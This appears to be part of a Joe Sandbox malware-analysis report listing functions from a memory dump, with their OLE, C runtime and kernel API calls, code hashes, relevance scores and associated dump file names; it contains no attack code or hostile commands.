Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$Clear$ArrayElementInitSafe
String ID:
API String ID: 4110538090-0
Opcode ID: 174d7ddd15d534cc80d74d3933ec3b1d8ab101b5246a703cd90a6ff1b23fb729
Instruction ID: ec9813d68045281ad1fc00a0135d22c06b30bddf626bfb1797c20ff03133ae50
Opcode Fuzzy Hash: 174d7ddd15d534cc80d74d3933ec3b1d8ab101b5246a703cd90a6ff1b23fb729
Instruction Fuzzy Hash: 48616E72A10249DFCB00DFA8D885ADEB7B5FF49310F24856AE515AB350C731AD45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6F0BDB30 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(6F0C31EC), ref: 6F0BDB5E
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6F0BDB6E
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6F0BDB82
SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0BDBF1
VariantClear.OLEAUT32(?), ref: 6F0BDBFB

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArraySafe$Variant$ClearCreateDestroyElementInitVector
String ID:
API String ID: 182531043-0
Opcode ID: d0b9910a88d57fb83fe886f9ffca3cbbf685d81e6629145c08cfd78ab197d810
Instruction ID: 65d03733beeddc881698e6a0242c5a1aeee257d89bc897c58dc7544d343b91ea
Opcode Fuzzy Hash: d0b9910a88d57fb83fe886f9ffca3cbbf685d81e6629145c08cfd78ab197d810
Instruction Fuzzy Hash: CD31A07AA01605EFD700DF94C844EEEBBF9FF8A760F10815AE911AB340D735A811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6F0D1FD0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 175COMMON

Download Yara Rule

APIs

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

std::exception::exception.LIBCMT ref: 6F0D2206
__CxxThrowException@8.LIBCMT ref: 6F0D2221

Part of subcall function 6F0D6480: __CxxThrowException@8.LIBCMT ref: 6F0D6518
Part of subcall function 6F0D6480: __CxxThrowException@8.LIBCMT ref: 6F0D6558

Strings

@-o .o, xrefs: 6F0D21AD
ILProtector, xrefs: 6F0D2045

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Exception@8Throw$_mallocstd::exception::exception
String ID: @-o .o$ILProtector
API String ID: 84431791-3048724353
Opcode ID: 32966d3f0ecf46121e35e6164f6af3e60b542de23942d2791b2dc20f2874c9fd
Instruction ID: 228695f2a48ab3c638057cb68096726bdc32c26e712480a7a538c22cb3be5619
Opcode Fuzzy Hash: 32966d3f0ecf46121e35e6164f6af3e60b542de23942d2791b2dc20f2874c9fd
Instruction Fuzzy Hash: F4710675D057599FCB14CFA8C984BDEBBB4BF49310F1081AAE419A7344DB706A84CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0CC410 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6F0CC478
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6F0CC488
SafeArrayGetElement.OLEAUT32(?,00000001,?), ref: 6F0CC4B4
SafeArrayDestroy.OLEAUT32(?), ref: 6F0CC512

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArraySafe$Bound$DestroyElement
String ID:
API String ID: 3987547017-0
Opcode ID: 65c3df2acf37cb51306bd0fe6f7dafbe781c03ad4423bccb9279df0009ecb642
Instruction ID: dd7592e557dc30abde760af460bd6cbf83ade07256202f6db71853114e8f49d4
Opcode Fuzzy Hash: 65c3df2acf37cb51306bd0fe6f7dafbe781c03ad4423bccb9279df0009ecb642
Instruction Fuzzy Hash: 0741FF75A00149AFDF00DF98C884EEEB7B9FB49354F10C56AF919E7241D730AA85CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0A5A30 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

std::exception::exception.LIBCMT ref: 6F0A5ACB
__CxxThrowException@8.LIBCMT ref: 6F0A5AE0
std::exception::exception.LIBCMT ref: 6F0A5B18
__CxxThrowException@8.LIBCMT ref: 6F0A5B2D

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception$_malloc
String ID:
API String ID: 3153320871-0
Opcode ID: 60323e40a054e1b3c68fbe090941aeed5cb8bae33044cc2d3cc39478f5d1086e
Instruction ID: 6078aa9007b456e5bf6b51b9ef39c95622ed68429606a9e5706d380ffc2c3392
Opcode Fuzzy Hash: 60323e40a054e1b3c68fbe090941aeed5cb8bae33044cc2d3cc39478f5d1086e
Instruction Fuzzy Hash: 1B3164B5900708ABC714DF99D950A9ABBF8FF44790F40C26EE81597740EB71A914CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0D8D80 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6F0D8D8A

Part of subcall function 6F109D66: __FF_MSGBANNER.LIBCMT ref: 6F109D7F
Part of subcall function 6F109D66: __NMSG_WRITE.LIBCMT ref: 6F109D86
Part of subcall function 6F109D66: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,00000000,?,6F109BD4,6F0A1290,F3D820D6), ref: 6F109DAB

Part of subcall function 6F1091F6: std::_Lockit::_Lockit.LIBCPMT ref: 6F109202

_malloc.LIBCMT ref: 6F0D8DAF
std::exception::exception.LIBCMT ref: 6F0D8DD4
__CxxThrowException@8.LIBCMT ref: 6F0D8DEB

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: _malloc$AllocateException@8HeapLockitLockit::_Throwstd::_std::exception::exception
String ID:
API String ID: 3043633502-0
Opcode ID: cbcb3d01d737ade8465d44a74f88bb0eac10480956e421269e68c8037082c119
Instruction ID: bccf9d800194207e655bf1ab8e52985320100aff4d122b20bf8cd9c70b04576a
Opcode Fuzzy Hash: cbcb3d01d737ade8465d44a74f88bb0eac10480956e421269e68c8037082c119
Instruction Fuzzy Hash: D8F0F07280831167D200FB95AD71B9F36F8AFA16A0F80081CF854A1284EF21F228C6F3

Uniqueness

Uniqueness Score: -1.00%

Function 6F109BB5 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6F109BCF

Part of subcall function 6F109D66: __FF_MSGBANNER.LIBCMT ref: 6F109D7F
Part of subcall function 6F109D66: __NMSG_WRITE.LIBCMT ref: 6F109D86
Part of subcall function 6F109D66: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,00000000,?,6F109BD4,6F0A1290,F3D820D6), ref: 6F109DAB

std::exception::exception.LIBCMT ref: 6F109C04
std::exception::exception.LIBCMT ref: 6F109C1E
__CxxThrowException@8.LIBCMT ref: 6F109C2F

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: ae00e637c9d17b6724128c95254e1e1c83f4cebf2720af6755149b53291bee8c
Instruction ID: bc209ce93b5f1eb6db11d7b0929c9da2d290269226381eb293223ddf33327154
Opcode Fuzzy Hash: ae00e637c9d17b6724128c95254e1e1c83f4cebf2720af6755149b53291bee8c
Instruction Fuzzy Hash: B6F0A4B140160DEADF04FBA5CD34E9D7AF9AB827E8F800519D400E63D9DF71A675CA50

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B9110 Relevance: 5.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6F0B913B
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6F0B915C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 6F0B9170
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 6F0B9191

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 99b1d1608301f38af0c7d34b611395ad4bab0f1a5f5cef53080f12e937d533d2
Instruction ID: 6787e74f23db9896317830120cf859bfae79a371b50c41dd7bf0f516a1ae9ca5
Opcode Fuzzy Hash: 99b1d1608301f38af0c7d34b611395ad4bab0f1a5f5cef53080f12e937d533d2
Instruction Fuzzy Hash: A04160769002099FCB04DF98D8849EEBBF4FF99310B11855ED816AB340D731AA05CFE0

Uniqueness

Uniqueness Score: -1.00%

Function 6F0A5450 Relevance: 4.8, APIs: 3, Instructions: 257COMMON

Download Yara Rule

APIs

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

std::tr1::_Xweak.LIBCPMT ref: 6F0A56D7
std::exception::exception.LIBCMT ref: 6F0A5734
__CxxThrowException@8.LIBCMT ref: 6F0A574B

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Exception@8ThrowXweak_mallocstd::exception::exceptionstd::tr1::_
String ID:
API String ID: 2092180293-0
Opcode ID: 0969c32cc6718561d7da62e86dad0824b3b052d1a96372f6612c2686ad790ff7
Instruction ID: 5c2b9b702a328528e965aa7ee1ee23cdfdf66a1e39e576e457a2489319d9b378
Opcode Fuzzy Hash: 0969c32cc6718561d7da62e86dad0824b3b052d1a96372f6612c2686ad790ff7
Instruction Fuzzy Hash: 12A139B45047058FC724CF68C090A6AB7F6FF88654F148F4EE49A9B685E771EA48CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B8E20 Relevance: 4.7, APIs: 3, Instructions: 162COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 6F0B8E89
LeaveCriticalSection.KERNEL32(?,00000000), ref: 6F0B8EAD
_memset.LIBCMT ref: 6F0B8ED2

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: CriticalSection$EnterLeave_memset
String ID:
API String ID: 3751686142-0
Opcode ID: ec4216e69363d3946be2eb5216d48e47f6a520e4c35adfb6ace5776bda3f51cd
Instruction ID: bcc27e508f0a52d3590392b3addae0c29291687ae888ba70af126fa69414dced
Opcode Fuzzy Hash: ec4216e69363d3946be2eb5216d48e47f6a520e4c35adfb6ace5776bda3f51cd
Instruction Fuzzy Hash: 53516C74A04206AFCB04DF58C890F9AB7F6FF89304F10855DE91A8B391DB32E956CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C3A90 Relevance: 4.6, APIs: 3, Instructions: 130COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6F0C3B71
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6F0C3B83
SafeArrayDestroy.OLEAUT32(?), ref: 6F0C3BCF

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArraySafe$Bound$Destroy
String ID:
API String ID: 3651546500-0
Opcode ID: f8acabcac49cd70ffe1be5556dea15189e246dd6dcf96c4318a0dfc17a6b1510
Instruction ID: 061067322c13e6f79f49d2ed64fb745a5ffc0294a2deb57d7280f11f37972522
Opcode Fuzzy Hash: f8acabcac49cd70ffe1be5556dea15189e246dd6dcf96c4318a0dfc17a6b1510
Instruction Fuzzy Hash: F8418971208A01DFD701CF58C881E9EF7E9FFC8254F244A1EF99497290D671E9858B92

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C69C0 Relevance: 4.6, APIs: 3, Instructions: 128COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6F0C6A08
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6F0C6A15
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6F0C6A41

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArraySafe$Bound$Element
String ID:
API String ID: 3836540358-0
Opcode ID: 8ae6a50603836d54e76ff50e8a68761f31cde647aa3177198dd9ecc2cf41e022
Instruction ID: 57f626a7ea05481b0695d991c36e4bad61e6cb0556d8b9006b1eff09572f3e2c
Opcode Fuzzy Hash: 8ae6a50603836d54e76ff50e8a68761f31cde647aa3177198dd9ecc2cf41e022
Instruction Fuzzy Hash: 5A413B75600619AFDB10DFA8C880FEFB7B8EF4A350F108659E9159B290D731E951CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0BDFB0 Relevance: 4.6, APIs: 3, Instructions: 120COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6F0BDFF6
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6F0BE003
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6F0BE02F

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArraySafe$Bound$Element
String ID:
API String ID: 3836540358-0
Opcode ID: 31d95435e7f135a6a97f85f3b0ffcfaa20ce8171960c2a37dd90a905aaaa7dc5
Instruction ID: 6aa56463d95410fa3d30400c98f86dc0ca3fd023fd850b3971c2d656852b673f
Opcode Fuzzy Hash: 31d95435e7f135a6a97f85f3b0ffcfaa20ce8171960c2a37dd90a905aaaa7dc5
Instruction Fuzzy Hash: 8841EE75A10619DFCB14DFA8CCC4AAEB7B5FB49310B1046ADE525E7390D732A941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6F0BD920 Relevance: 4.6, APIs: 3, Instructions: 81COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(0000000D,00000000,00000002), ref: 6F0BD949
SafeArrayPutElement.OLEAUT32(00000000,?,00000000), ref: 6F0BD96C
SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0BD9CF

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArraySafe$CreateDestroyElementVector
String ID:
API String ID: 3149346722-0
Opcode ID: 169eeba0a87cdd9bc5f36e56da754b359d413f62fb9c2a61c4a32ef4f7bea28c
Instruction ID: 58838d06fbf642048eb0bc28572f52a2ede3f10766f6b2ff4b855415ffc967e5
Opcode Fuzzy Hash: 169eeba0a87cdd9bc5f36e56da754b359d413f62fb9c2a61c4a32ef4f7bea28c
Instruction Fuzzy Hash: 50219035601616AFEB11CF94C884FABB7E9EF8A750F1040A9ED44DB244D772E901CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0CDB10 Relevance: 4.6, APIs: 3, Instructions: 63COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6F0CDB2D
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6F0CDB45
SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0CDBA2

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

